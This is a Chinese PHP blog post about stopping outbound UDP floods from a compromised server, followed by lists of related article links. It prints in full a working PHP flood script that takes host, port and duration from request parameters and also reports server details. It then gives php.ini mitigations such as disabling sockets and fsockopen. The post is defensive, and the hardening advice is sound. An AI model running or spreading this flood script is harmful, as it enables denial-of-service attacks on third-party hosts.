php的ddos攻击解决方法


Posted in PHP onJanuary 08, 2015

本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

<?php 

set_time_limit(999999); 

$host = $_GET['host']; 

$port = $_GET['port']; 

$exec_time = $_GET['time']; 

$Sendlen = 65535; 

$packets = 0; 

ignore_user_abort(True); 

 

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 

        if (StrLen($_GET['rat'])<>0){ 

                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 

                exit; 

            } 

        echo "Parameters can not be empty!"; 

        exit; 

    } 

 

for($i=0;$i<$Sendlen;$i++){ 

        $out .= "A"; 

    } 

 

$max_time = time()+$exec_time; 

 

while(1){ 

    $packets++; 

    if(time() > $max_time){ 

        break; 

    } 

    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 

        if($fp){ 

            fwrite($fp, $out); 

            fclose($fp); 

    } 

} 

 

echo "Send Host:$host:$port<br><br>"; 

echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 

echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 

?>

关键代码在于如下:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.

php.ini里设置,代码如下:

allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单:

1. 把set_time_limit函数禁用

2. 启用PHP的安全模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
56.com视频采集接口程序(PHP)
Sep 22 PHP
php一个找二层目录的小东东
Aug 02 PHP
使用PHP遍历文件目录与清除目录中文件的实现详解
Jun 24 PHP
PHP PDOStatement:bindParam插入数据错误问题分析
Nov 13 PHP
反射调用private方法实践(php、java)
Dec 21 PHP
yii2使用GridView实现数据全选及批量删除按钮示例
Mar 01 PHP
PHP实现留言板功能的详细代码
Mar 25 PHP
ajax调用返回php接口返回json数据的方法(必看篇)
May 05 PHP
Thinkphp 空操作、空控制器、命名空间(详解)
May 05 PHP
PHP策略模式定义与用法示例
Jul 27 PHP
利用Homestead快速运行一个Laravel项目的方法详解
Nov 14 PHP
Yii 使用intervention/image拓展实现图像处理功能
Jun 22 PHP
php的sso单点登录实现方法
Jan 08 #PHP
PHP制作万年历
Jan 07 #PHP
CI框架中通过hook的方式实现简单的权限控制
Jan 07 #PHP
CI框架中site_url()和base_url()的区别
Jan 07 #PHP
给ECShop添加最新评论
Jan 07 #PHP
php程序总是提示验证码输入有误解决方案
Jan 07 #PHP
WampServer下安装多个版本的PHP、mysql、apache图文教程
Jan 07 #PHP
You might like
function.inc.php超越php
2006/12/09 PHP
在CentOS系统上从零开始搭建WordPress博客的全流程记录
2016/04/21 PHP
Yii视图操作之自定义分页实现方法
2016/07/14 PHP
Zend Framework常用校验器详解
2016/12/09 PHP
Yii2设置默认控制器的两种方法
2017/05/19 PHP
javascript 限制输入和粘贴(IE,firefox测试通过)
2008/11/14 Javascript
javascript中数组中求最大值示例代码
2013/12/18 Javascript
JS删除字符串中重复字符方法
2014/03/09 Javascript
jQuery.parseJSON(json)将JSON字符串转换成js对象
2014/07/27 Javascript
Windows8下搭建Node.js开发环境教程
2014/09/03 Javascript
jQuery中mouseover事件用法实例
2014/12/26 Javascript
原生js实现模拟滚动条
2015/06/15 Javascript
原生js制作日历控件实例分享
2016/04/06 Javascript
浅谈js之字面量、对象字面量的访问、关键字in的用法
2016/11/20 Javascript
async/await与promise(nodejs中的异步操作问题)
2017/03/03 NodeJs
提升页面加载速度的插件InstantClick
2017/09/12 Javascript
React+Webpack快速上手指南(小结)
2018/08/15 Javascript
微信小程序tabBar 返回tabBar不刷新页面
2019/07/25 Javascript
Vue中使用Lodop插件实现打印功能的简单方法
2019/12/19 Javascript
python ansible服务及剧本编写
2017/12/29 Python
python 读写excel文件操作示例【附源码下载】
2019/06/19 Python
解决python多行注释引发缩进错误的问题
2019/08/23 Python
Python浮点数四舍五入问题的分析与解决方法
2019/11/19 Python
Python random模块制作简易的四位数验证码
2020/02/01 Python
Python调用Windows命令打印文件
2020/02/07 Python
解决keras backend 越跑越慢问题
2020/06/18 Python
CSS3使用transition实现的鼠标悬停淡入淡出
2015/01/09 HTML / CSS
德国最大的服装、鞋子和配件在线商店之一:Outfits24
2019/07/23 全球购物
潘多拉珠宝俄罗斯官方网上商店:PANDORA俄罗斯
2020/09/22 全球购物
个人自我评价范文
2014/02/05 职场文书
运动会广播稿诗歌版
2014/09/12 职场文书
2014年图书馆个人工作总结
2014/12/18 职场文书
2015年教师节演讲稿范文
2015/03/19 职场文书
小学运动会开幕词
2016/03/04 职场文书
MySQL数据库超时设置配置的方法实例
2021/10/15 MySQL
MySQL 数据 data 基本操作
2022/05/04 MySQL